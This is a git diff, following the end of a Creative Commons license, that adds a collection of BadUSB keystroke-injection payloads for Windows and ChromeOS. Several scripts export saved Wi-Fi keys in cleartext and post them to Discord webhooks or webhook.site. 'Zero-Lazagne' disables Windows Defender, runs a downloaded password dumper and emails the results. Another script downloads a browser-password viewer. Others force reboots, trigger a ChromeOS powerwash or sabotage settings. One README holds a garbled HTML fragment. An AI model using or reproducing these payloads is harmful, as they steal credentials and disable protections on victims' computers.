equivalent rights anywhere in the world. + +l. __You__ means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning. + +### Section 2 – Scope. + +a. ___License grant.___ + + 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to: + + A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and + + B. produce, reproduce, and Share Adapted Material for NonCommercial purposes only. + + 2. __Exceptions and Limitations.__ For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions. + + 3. __Term.__ The term of this Public License is specified in Section 6(a). + + 4. __Media and formats; technical modifications allowed.__ The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material. + + 5. __Downstream recipients.__ + + A. __Offer from the Licensor – Licensed Material.__ Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License. + + B. __Additional offer from the Licensor – Adapted Material.__ Every recipient of Adapted Material from You automatically receives an offer from the Licensor to exercise the Licensed Rights in the Adapted Material under the conditions of the Adapter’s License You apply. + + C. __No downstream restrictions.__ You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material. + + 6. __No endorsement.__ Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i). + +b. ___Other rights.___ + + 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise. + + 2. Patent and trademark rights are not licensed under this Public License. + + 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes. + +### Section 3 – License Conditions. + +Your exercise of the Licensed Rights is expressly made subject to the following conditions. + +a. ___Attribution.___ + + 1. If You Share the Licensed Material (including in modified form), You must: + + A. retain the following if it is supplied by the Licensor with the Licensed Material: + + i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated); + + ii. a copyright notice; + + iii. a notice that refers to this Public License; + + iv. a notice that refers to the disclaimer of warranties; + + v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable; + + B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and + + C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License. + + 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information. + + 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable. + +b. ___ShareAlike.___ + +In addition to the conditions in Section 3(a), if You Share Adapted Material You produce, the following conditions also apply. + + 1. The Adapter’s License You apply must be a Creative Commons license with the same License Elements, this version or later, or a BY-NC-SA Compatible License. + + 2. You must include the text of, or the URI or hyperlink to, the Adapter's License You apply. You may satisfy this condition in any reasonable manner based on the medium, means, and context in which You Share Adapted Material. + + 3. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, Adapted Material that restrict exercise of the rights granted under the Adapter's License You apply. + +### Section 4 – Sui Generis Database Rights. + +Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material: + +a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only; + +b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material, including for purposes of Section 3(b); and + +c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database. + +For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights. + +### Section 5 – Disclaimer of Warranties and Limitation of Liability. + +a. __Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.__ + +b. __To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.__ + +c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability. + +### Section 6 – Term and Termination. + +a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically. + +b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates: + + 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or + + 2. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or + + For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License. + +c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License. + +d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License. + +### Section 7 – Other Terms and Conditions. + +a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed. + +b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License. + +### Section 8 – Interpretation. + +a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License. + +b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions. + +c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor. + +d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority. + +``` +Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. + +Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/). +``` diff --git a/badusb/Water-UnMark/README.md b/badusb/Water-UnMark/README.md new file mode 100644 index 0000000..c1b3616 --- /dev/null +++ b/badusb/Water-UnMark/README.md @@ -0,0 +1,103 @@ + + +User Information
";$Report = $Report + "
Current User Name: $env:USERNAME Account Type: $UserType User SID: $UserSid Account Domain: $env:USERDOMAIN Password Required: $UserPass Current User is Admin: $IsAdmin + + + +
+ + +++ +# Water-UnMark + +A payload to get rid of the ugly windows activation watermark. + +## Description +This script will get rid of the ugly windows watermark. This script will automatically reboot the device. This is not activating your computer!! + +## Getting Started + +### Dependencies + +* Unactivated Windows 10 + + + +### Executing program + +* Plug in your device +``` +Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\svsvc" -Name Start -Value 4 -Force +``` + + + +## Contributing + +All contributors names will be listed here: + +[atomiczsec](https://github.com/atomiczsec) + + + +## Version History + +* 0.1 + * Initial Release + + + + +## Contact + +Table of Contents
++
+- Description
+- Getting Started
+- Contributing
+- Version History
+- Contact
+- Acknowledgments
+📱 My Socials 📱
+ + + + + + + + + + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + + diff --git a/badusb/Water-UnMark/payload.txt b/badusb/Water-UnMark/payload.txt new file mode 100644 index 0000000..e57c6d7 --- /dev/null +++ b/badusb/Water-UnMark/payload.txt @@ -0,0 +1,17 @@ +REM Title: Water-UnMark +REM Author: atomiczsec +REM Target OS: Windows 10 +REM Description: This script will get rid of the ugly windows watermark. This script will automatically reboot the device. This is not activating your computer!! + +DELAY 2000 +GUI r +DELAY 100 +STRING powershell Start-Process powershell -verb runAs +DELAY 1000 +ALT Y +DELAY 1000 +STRING Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\svsvc" -Name Start -Value 4 -Force +ENTER +DELAY 100 +STRING Restart-Computer -Force +ENTER diff --git a/badusb/Water-UnMark/placeholder b/badusb/Water-UnMark/placeholder new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/badusb/Water-UnMark/placeholder @@ -0,0 +1 @@ + diff --git a/badusb/Wifi-Stealer-Discord-Improved.txt b/badusb/Wifi-Stealer-Discord-Improved.txt new file mode 100644 index 0000000..85793a4 --- /dev/null +++ b/badusb/Wifi-Stealer-Discord-Improved.txt @@ -0,0 +1,58 @@ +REM Title: Doggo WiFi Stealer Using Discord Webhook +REM Author: MHooijberg +REM Version: 1.0 +REM Target: Windows 7/8/10/11 +REM Category: Grabber +REM Inspiration: https://github.com/UberGuidoZ/Flipper/blob/main/BadUSB/Wifi-Stealer_Discord.txt +REM Description: Extracts the SSID and wifi shared keys to xml files and send it to discord webhook. +REM Runtime: (468 * N) + ((220 * N + 500ms) * (# Of WiFi Networks)). Where N is the input duration of each character +GUI r +DELAY 500 +ALTSTRING powershell +ENTER +DELAY 2000 +REM Save the Discord Webhook Endpoint in an variable. +ALTSTRING $webhookUri = 'https://discord.com/api/webhooks/' +ENTER +REM Creating a new folder in Temp with random name to store the xml files. +ALTSTRING New-Item -Path $env:temp -Name "476F6F6420426F7921" -ItemType "directory" +ENTER +REM Set the currend working directory to the temporary local appdata folder. +ALTSTRING Set-Location -Path "$env:temp/476F6F6420426F7921" +ENTER +REM Export all WiFi credentials. +ALTSTRING netsh wlan export profile key=clear; +ENTER +REM Change the directory path so that the exported files can be deleted later. +ALTSTRING Set-Location -Path $env:temp +ENTER +REM Get all child files +ALTSTRING Get-ChildItem "$env:tmp/476F6F6420426F7921" -File | +ENTER +ALTSTRING ForEach-Object { +ENTER +REM Get the file content from the newly created file on the desktop. +ALTSTRING $fileContent = Get-Content $_.FullName | Out-String +ENTER +REM Create a body for the endpoint request. +ALTSTRING $Body = @{ +ENTER +ALTSTRING 'username' = '{Type:"Doggo", Nametag:"Haxor"}' +ENTER +ALTSTRING 'content' = '```xml' + "`n" + $fileContent + '```' +ENTER +ALTSTRING } +ENTER +REM Send a post request to the Uri with the specified body. +ALTSTRING Invoke-RestMethod -Uri $webhookUri -Method 'post' -Body $Body +ENTER +REM Wait for 0.3 seconds. +STRING Start-Sleep -Milliseconds 300 +ALTSTRING } +ENTER +REM Remove all exported WiFi files. +ALTSTRING Remove-Item -Path "$env:tmp/476F6F6420426F7921" -Force -Recurse +ENTER +REM Exit powershell. +ALTSTRING exit +ENTER diff --git a/badusb/Wifi-Stealer_Discord.txt b/badusb/Wifi-Stealer_Discord.txt new file mode 100644 index 0000000..ffed95a --- /dev/null +++ b/badusb/Wifi-Stealer_Discord.txt @@ -0,0 +1,37 @@ +REM Title: Wifi Stealer Discord Hook +REM Author: 7h30th3r0n3 +REM Reworked: the0bone +REM Discord exfiltation rework: Blobs0 +REM Hosted : https://github.com/UberGuidoZ/Flipper/ +REM Target: Windows 7/8/10/11 +REM Supported Layout keyboard: US/FR/DE +REM Version: 1.0 +REM Category: Grabber +REM Extracts the SSID and wifi shared key and puts them in a txt file named 0.txt on the desktop and send it to discord webhook +GUI r +DELAY 500 +STRING powershell +ENTER +DELAY 2000 +REM setting variable +STRING $desktop = ([Environment]::GetFolderPath("Desktop")) +ENTER +REM Creating a new folder in Temp with random name to store the xml files and create single text file +STRING New-Item -Path $env:temp -Name "js2k3kd4nne5dhsk" -ItemType "directory"; Set-Location -Path "$env:temp/js2k3kd4nne5dhsk"; netsh wlan export profile key=clear; Select-String -Path *.xml -Pattern 'keyMaterial' | % { $_ -replace '?keyMaterial>', ''} | % {$_ -replace "C:\\Users\\$env:UserName\\Desktop\\", ''} | % {$_ -replace '.xml:22:', ''} > $desktop\0.txt +ENTER +REM set your discord webhook link here (replace '; $filePath = "$desktop\0.txt"; $fileContent = Get-Content -Path $filePath | Out-String +ENTER +REM set js variable +STRING $Body = @{ +SHIFT ENTER +STRING 'username' = 'Wifi_Stealer' +SHIFT ENTER +STRING 'content' = $fileContent +SHIFT ENTER +STRING } +SHIFT ENTER +ENTER +REM Send to your discord webhook and remove all the file +STRING Invoke-RestMethod -Uri $webhookUri -Method 'post' -Body $Body;Set-Location -Path "$env:temp"; Remove-Item -Path "$env:tmp/js2k3kd4nne5dhsk" -Force -Recurse;rm $desktop\0.txt; exit +ENTER diff --git a/badusb/Wifi-Stealer_Hook.txt b/badusb/Wifi-Stealer_Hook.txt new file mode 100644 index 0000000..22eff9e --- /dev/null +++ b/badusb/Wifi-Stealer_Hook.txt @@ -0,0 +1,20 @@ +REM Title: Wifi Stealer Hook +REM Author: 7h30th3r0n3 +REM Reworked: the0bone +REM Hosted : https://github.com/UberGuidoZ/Flipper/ +REM Target: Windows 7/8/10/11 +REM Supported Layout keyboard: US/FR/DE +REM Version: 1.0 +REM Category: Grabber +REM Extracts the SSID and wifi shared key and puts them in a txt file named 0.txt on the desktop and send it to webhook +GUI r +DELAY 500 +STRING powershell +ENTER +DELAY 2000 +REM setting variabl +STRING $desktop = ([Environment]::GetFolderPath("Desktop")) +ENTER +REM Creating a new folder in Temp with random name to store the xml files and create single text file and send it to webhook (change the https://webhook.site/ part) +STRING New-Item -Path $env:temp -Name "js2k3kd4nne5dhsk" -ItemType "directory"; Set-Location -Path "$env:temp/js2k3kd4nne5dhsk"; netsh wlan export profile key=clear; Select-String -Path *.xml -Pattern 'keyMaterial' | % { $_ -replace '?keyMaterial>', ''} | % {$_ -replace "C:\\Users\\$env:UserName\\Desktop\\", ''} | % {$_ -replace '.xml:22:', ''} > $desktop\0.txt; Set-Location -Path "$env:temp";Invoke-WebRequest -Uri https://webhook.site/ -Method POST -InFile $desktop\0.txt; Remove-Item -Path "$env:tmp/js2k3kd4nne5dhsk" -Force -Recurse;rm $desktop\0.txt;exit +ENTER diff --git a/badusb/Wifi-Stealer_ORG.txt b/badusb/Wifi-Stealer_ORG.txt new file mode 100644 index 0000000..0e9ac69 --- /dev/null +++ b/badusb/Wifi-Stealer_ORG.txt @@ -0,0 +1,19 @@ +REM Title: Wifi Stealer +REM Author: 7h30th3r0n3 +REM Reworked: the0bone +REM Target: Windows 7/8/10/11 +REM Supported Layout keyboard: US/FR/DE +REM Version: 1.2 +REM Category: Grabber +REM Extracts the SSID and wifi shared key and puts them in a txt file named 0.txt on the desktop +GUI r +DELAY 500 +STRING powershell +ENTER +DELAY 2000 +REM setting variable +STRING $desktop = ([Environment]::GetFolderPath("Desktop")) +ENTER +REM Creating a new folder in Temp with random name to store the xml files and create single text file. +STRING New-Item -Path $env:temp -Name "js2k3kd4nne5dhsk" -ItemType "directory"; Set-Location -Path "$env:temp/js2k3kd4nne5dhsk"; netsh wlan export profile key=clear; Select-String -Path *.xml -Pattern 'keyMaterial' | % { $_ -replace '?keyMaterial>', ''} | % {$_ -replace "C:\\Users\\$env:UserName\\Desktop\\", ''} | % {$_ -replace '.xml:22:', ''} > $desktop\0.txt; Set-Location -Path "$env:temp"; Remove-Item -Path "$env:tmp/js2k3kd4nne5dhsk" -Force -Recurse; exit +ENTER diff --git a/badusb/Wifi-Stealer_Zoom.txt b/badusb/Wifi-Stealer_Zoom.txt new file mode 100644 index 0000000..cb2e9f6 --- /dev/null +++ b/badusb/Wifi-Stealer_Zoom.txt @@ -0,0 +1,36 @@ +REM Title: Wifi Stealer +REM Author: 7h30th3r0n3 +REM Reworked: the0bone +REM Target: Windows 7/8/10/11 +REM Version: 1.2 +REM Category: Grabber +REM Extracts the SSID and wifi shared key and puts them in a txt file named 0.txt on the desktop +REM Designed to be used for mouse hijacking on a machine whose screen is visible +GUI r +DELAY 500 +STRING powershell +ENTER +DELAY 2000 +REM setting variable +STRING $desktop = ([Environment]::GetFolderPath("Desktop")) +ENTER +REM Creating a new folder in Temp with random name to store the xml files and create single text file. +STRING New-Item -Path $env:temp -Name "js2k3kd4nne5dhsk" -ItemType "directory"; Set-Location -Path "$env:temp/js2k3kd4nne5dhsk"; netsh wlan export profile key=clear; Select-String -Path *.xml -Pattern 'keyMaterial'> $desktop\0.txt; Set-Location -Path "$env:temp"; Remove-Item -Path "$env:tmp/js2k3kd4nne5dhsk" -Force -Recurse; exit +ENTER +DELAY 4000 +GUI m +DELAY 2000 +STRING 0 +DELAY 100 +ENTER +DELAY 200 +GUI UPARROW +DELAY 100 +CTRL = +CTRL = +CTRL = +CTRL = +CTRL = +DELAY 10000 +ALT F4 +CTRL D diff --git a/badusb/Wifi_and_Show_Passwords_for_Flipper.txt b/badusb/Wifi_and_Show_Passwords_for_Flipper.txt new file mode 100644 index 0000000..41f3195 --- /dev/null +++ b/badusb/Wifi_and_Show_Passwords_for_Flipper.txt @@ -0,0 +1,69 @@ +REM Polish made the WIFI part I got the passwords part from https://github.com/UberGuidoZ/Flipper/blob/main/BadUSB/Show_Saved_Passwords.txt +REM Big Credit to UberGuidoZ +REM Target Win 10 +REM Sending WIFI Passwords through a webhook +REM Replace with your webhook like https://webhook.site/4f8b246c-2071-49c5-baa6-07983dffc024 +GUI r +DELAY 500 +STRING CMD +ENTER +DELAY 500 +STRING cd %temp% +ENTER +DELAY 300 +STRING netsh wlan export profile key=clear +ENTER +DELAY 500 +STRING powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS +ENTER +DELAY 500 +STRING powershell Invoke-WebRequest -Uri -Method POST -InFile Wi-Fi-PASS +ENTER +DELAY 1000 +STRING del Wi-* /s /f /q +ENTER +DELAY 500 +STRING exit +ENTER +DELAY 1000 +GUI r +ENTER +DELAY 500 +STRING notepad +ENTER +DELAY 500 +STRING I'm Sorry my Kind Sir, I did steal your wifi Passwords. +GUI r +DELAY 1000 +STRING powershell +ENTER +DELAY 1000 +STRING mkdir \temp ; cd \temp ; Invoke-WebRequest -Headers @{'Referer' = 'http://www.nirsoft.net/utils/web_browser_password.html'} -Uri http://www.nirsoft.net/toolsdownload/webbrowserpassview.zip -OutFile wbpv.zip ; Invoke-WebRequest -Uri https://www.7-zip.org/a/7za920.zip -OutFile 7z.zip ; Expand-Archive 7z.zip ; .\7z\7za.exe e wbpv.zip +ENTER +DELAY 5000 +STRING wbpv28821@ +ENTER +STRING .\WebBrowserPassView.exe +ENTER +DELAY 3000 +CTRL A +CTRL S +DELAY 1000 +STRING export.html +TAB +STRING h +ENTER +DELAY 1000 +ALT F4 +DELAY 1000 +STRING Start-Process msedge.exe 'file:///C:/temp/export.htm --inprivate' +ENTER +DELAY 2000 +ALT TAB +DELAY 1000 +STRING cd \ +ENTER +STRING rmdir -R \temp +ENTER +STRING EXIT +ENTER diff --git a/badusb/Wifi_for_Flipper.txt b/badusb/Wifi_for_Flipper.txt new file mode 100644 index 0000000..4a9ee94 --- /dev/null +++ b/badusb/Wifi_for_Flipper.txt @@ -0,0 +1,34 @@ +REM Polish made this trying to code. +REM Target Win 10 +REM Sending WIFI Passwords through a webhook +REM Replace with your webhook like https://webhook.site/4f8b246c-2071-49c5-baa6-07983dffc024 +GUI r +DELAY 500 +STRING CMD +ENTER +DELAY 500 +STRING cd %temp% +ENTER +DELAY 300 +STRING netsh wlan export profile key=clear +ENTER +DELAY 500 +STRING powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS +ENTER +DELAY 500 +STRING powershell Invoke-WebRequest -Uri -Method POST -InFile Wi-Fi-PASS +ENTER +DELAY 1000 +STRING del Wi-* /s /f /q +ENTER +DELAY 500 +STRING exit +ENTER +DELAY 1000 +GUI r +ENTER +DELAY 500 +STRING notepad +ENTER +DELAY 500 +STRING I'm Sorry my Kind Sir, I did steal your wifi Passwords. diff --git a/badusb/Zero-Lazagne/README.md b/badusb/Zero-Lazagne/README.md new file mode 100644 index 0000000..e06f2e2 --- /dev/null +++ b/badusb/Zero-Lazagne/README.md @@ -0,0 +1,4 @@ +# Zero-Lazagne +Bad Usb payload capable to capture victim's passwords (hiding powershell) and e-mailing them to you. Inspired by "Hasta Lasagna!", developed by [m4ki3lf0](https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/credentials/Hasta%20lasagna!) for Rubber Ducky, and optimized for Flipper Zero. You'll need only the .txt file for the exfiltration. +## Notes +Tested with Unleashed Firmware and a SMTP without SSL (port 25) to send the e-mail. The 2.4.2 version of lazagne.exe is a bit faster, anyway it's possibile to replace the download link with the latest version. diff --git a/badusb/Zero-Lazagne/Zero-Lazagne.txt b/badusb/Zero-Lazagne/Zero-Lazagne.txt new file mode 100644 index 0000000..3a523ef --- /dev/null +++ b/badusb/Zero-Lazagne/Zero-Lazagne.txt @@ -0,0 +1,76 @@ +REM Open Powershell as Admin +DEFAULT_DELAY 300 +DELAY 1000 +GUI r +STRING powershell +CTRL-SHIFT ENTER +DELAY 2000 +LEFT +ENTER +DELAY 1000 +REM +REM Hide Powershell (Remember to extract Flipper only when it displays 100%) +STRING PowerShell.exe -WindowStyle hidden +ENTER +REM +REM Disable real time protection +STRING Set-MpPreference -DisableRealtimeMonitoring $true +ENTER +REM +REM Create a tmp directory in Downloads folder +STRING $dir = "C:\Users\$env:UserName\Downloads\tmp" +ENTER +STRING New-Item -ItemType Directory -Path $dir +ENTER +REM +REM Add an exception to Windows Defender for the tmp directory +STRING Add-MpPreference -ExclusionPath $dir +ENTER +REM +REM Hide the directory +STRING $hide = Get-Item $dir -Force +ENTER +STRING $hide.attributes='Hidden' +ENTER +REM +REM Download the executable (version 2.4.2 is a bit faster, you can change the download link to the latest version) +STRING Invoke-WebRequest -Uri "https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.2/lazagne.exe" -OutFile "$dir\lazagne.exe" +ENTER +REM +REM Execute lazagne.exe and save output to a file +STRING & "$dir\lazagne.exe" all > "$dir\output.txt" +ENTER +REM +REM Mail Exfiltration +STRING $smtp = "INSERT YOUR SMTP HERE" +ENTER +STRING $From = "INSERT YOUR EMAIL HERE" +ENTER +STRING $To = "INSERT RECEIVER EMAIL HERE" +ENTER +STRING $Subject = "Zero-Lazagne Report" +ENTER +STRING $Body = "Hi, here is the Report" +ENTER +STRING $Password = "INSERT YOUR PASSWORD HERE" | ConvertTo-SecureString -AsPlainText -Force +ENTER +STRING $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $From, $Password +ENTER +REM +REM Send the mail. Tested without SSl. You can try to add "-Use Ssl" and change the port (465 or 587 based on your SMTP) +STRING Send-MailMessage -From $From -To $To -Subject $Subject -Body $Body -Attachments "$dir\output.txt" -SmtpServer $smtp -port 25 -Credential $Credential +ENTER +REM +REM Clean up +STRING Remove-Item -Path $dir -Recurse -Force +ENTER +STRING Set-MpPreference -DisableRealtimeMonitoring $false +ENTER +STRING Remove-MpPreference -ExclusionPath $dir +ENTER +REM +REM Remove the script from the system and exit from powershell +STRING Clear-History +ENTER +STRING exit +ENTER diff --git a/badusb/chromeOS/README.md b/badusb/chromeOS/README.md new file mode 100644 index 0000000..dbe755a --- /dev/null +++ b/badusb/chromeOS/README.md @@ -0,0 +1,6 @@ + ABOUT
+ +Alot of the chromeOS scripts I found were actually pretty shit and just transfered from other existing windowsOS and macOS scripts. +So I made my own and please enjoy. + +Please note: this might not work on all chromeOS or chromebook devices and change the script to fit your chromebook, but it should work on most chromebooks out there. diff --git a/badusb/chromeOS/arabic.txt b/badusb/chromeOS/arabic.txt new file mode 100644 index 0000000..016cade --- /dev/null +++ b/badusb/chromeOS/arabic.txt @@ -0,0 +1,51 @@ +REM MADE BY HTTPS / https://github.com/httpsisbetter +REM Changes language in settings to arabic ( It will still have the language input bar in the bottom ) +REM Requirements: CHROMEOS + +CTRL W +DELAY 100 +CTRL W +DELAY 100 +CTRL W +DELAY 100 +TAB +DELAY 100 +ENTER +DELAY 500 +STRING add input methods +DELAY 1000 +ENTER + +DELAY 3000 +ENTER +DELAY 700 +STRING arabic +DELAY 500 +ENTER +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +ENTER +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +ENTER + +DELAY 500 +SHIFT TAB +DELAY 70 +SHIFT TAB +DELAY 70 +SHIFT TAB +DELAY 70 +ENTER +DELAY 100 +CTRL W +DELAY 100 +CTRL W +DELAY 100 +CTRL W \ No newline at end of file diff --git a/badusb/chromeOS/brainly.txt b/badusb/chromeOS/brainly.txt new file mode 100644 index 0000000..87f5125 --- /dev/null +++ b/badusb/chromeOS/brainly.txt @@ -0,0 +1,25 @@ +REM MADE BY HTTPS / https://github.com/httpsisbetter +REM Resets brainly.com cookies for you +REM CHROMEOS + +CTRL T +DELAY 500 +STRING chrome://settings/siteData +DELAY 500 +ENTER +DELAY 3000 +TAB +DELAY 2000 +STRING brainly +DELAY 1000 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +ENTER +DELAY 1000 +CTRL W \ No newline at end of file diff --git a/badusb/chromeOS/closetest.txt b/badusb/chromeOS/closetest.txt new file mode 100644 index 0000000..c2c6987 --- /dev/null +++ b/badusb/chromeOS/closetest.txt @@ -0,0 +1,10 @@ +REM MADE BY HTTPS / https://github.com/httpsisbetter +REM Closes all tabs ( Change the amount of CTRL W you want the more the ctrl W the more tabs it closes ) +REM ChromeB + +CTRL W +DELAY 100 +CTRL W +DELAY 100 +CTRL W +DELAY 100 \ No newline at end of file diff --git a/badusb/chromeOS/croshrollback.txt b/badusb/chromeOS/croshrollback.txt new file mode 100644 index 0000000..013ca2b --- /dev/null +++ b/badusb/chromeOS/croshrollback.txt @@ -0,0 +1,37 @@ +REM MADE BY HTTPS / https://github.com/httpsisbetter +REM Will commit a update rollback/powerwash +REM Might not work with enterprise enrolled devices +REM Requirement: CHROMEOS + +CTRL W +DELAY 100 +CTRL W +DELAY 100 +CTRL W +DELAY 2000 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +ENTER +DELAY 1000 +STRING chrome-untrusted://crosh +DELAY 100 +ENTER +DELAY 3000 +STRING Hacked successfully! +DELAY 100 +ENTER +DELAY 2000 +STRING cat > /dev/null << EOF +ENTER +DELAY 500 +STRING rollback +DELAY 1000 +ENTER +DELAY 1000 +STRING Y +DELAY 500 +ENTER \ No newline at end of file diff --git a/badusb/chromeOS/langfuck.txt b/badusb/chromeOS/langfuck.txt new file mode 100644 index 0000000..5da5d4e --- /dev/null +++ b/badusb/chromeOS/langfuck.txt @@ -0,0 +1,141 @@ +REM MADE BY HTTPS / https://github.com/httpsisbetter +REM Changes language by going into settings then removing the language changer bar and finally shutting down the computer +REM Requirements: CHROMEOS + +CTRL W +DELAY 100 +CTRL W +DELAY 100 +CTRL W +DELAY 2000 +TAB +DELAY 100 +ENTER +DELAY 500 +STRING add input methods +DELAY 1000 +ENTER +DELAY 3000 +ENTER +DELAY 700 +STRING arabic +DELAY 500 +ENTER +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +ENTER +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +ENTER +DELAY 500 +SHIFT TAB +DELAY 70 +SHIFT TAB +DELAY 70 +SHIFT TAB +DELAY 70 +ENTER +DELAY 100 +CTRL W +DELAY 100 +CTRL W +DELAY 100 +CTRL W + +DELAY 100 +SHIFT TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +ENTER +DELAY 1000 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +ENTER +DELAY 2000 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +ENTER +DELAY 1000 +TAB +DELAY 200 +TAB +DELAY 200 +ENTER +DELAY 1500 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +TAB +DELAY 200 +ENTER +DELAY 1500 +TAB +DELAY 200 +ENTER +DELAY 100 +CTRL W +DELAY 100 +CTRL W +DELAY 100 +CTRL W +DELAY 2000 + +SHIFT TAB +DELAY 100 +TAB +DELAY 100 +ENTER +DELAY 100 +TAB 